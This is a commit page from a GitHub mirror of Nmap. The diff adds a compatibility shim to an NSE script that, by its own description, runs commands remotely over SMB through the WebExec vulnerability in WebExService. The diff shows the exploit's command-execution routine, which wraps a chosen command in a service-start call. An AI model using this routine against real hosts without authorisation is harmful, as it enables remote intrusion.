1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-06 04:31:29 +00:00

Compatibility hack for older Nmap versions

This commit is contained in:
dmiller
2018-10-24 16:35:33 +00:00
parent 1419b86e13
commit 8fef7f7df5
2 changed files with 12 additions and 7 deletions

View File

@@ -3,7 +3,9 @@ local smb = require "smb"
local stdnse = require "stdnse"
local string = require "string"
local shortport = require "shortport"
local stringaux = require "stringaux"
-- compat stuff for Nmap 7.70 and earlier
local have_stringaux, stringaux = pcall(require, "stringaux")
local strsplit = (have_stringaux and stringaux or stdnse).strsplit
description = [[
Attempts to run a command via WebExService, using the WebExec vulnerability.
@@ -44,7 +46,7 @@ portrule = shortport.port_or_service({445, 139}, "microsoft-ds", "tcp", "open")
local run_command = function(smbstate, service_handle, command)
stdnse.debug1("Attempting to run: " .. command)
return msrpc.svcctl_startservicew(smbstate, service_handle, stringaux.strsplit(" ", "install software-update 1 " .. command))
return msrpc.svcctl_startservicew(smbstate, service_handle, strsplit(" ", "install software-update 1 " .. command))
end
action = function(host, port)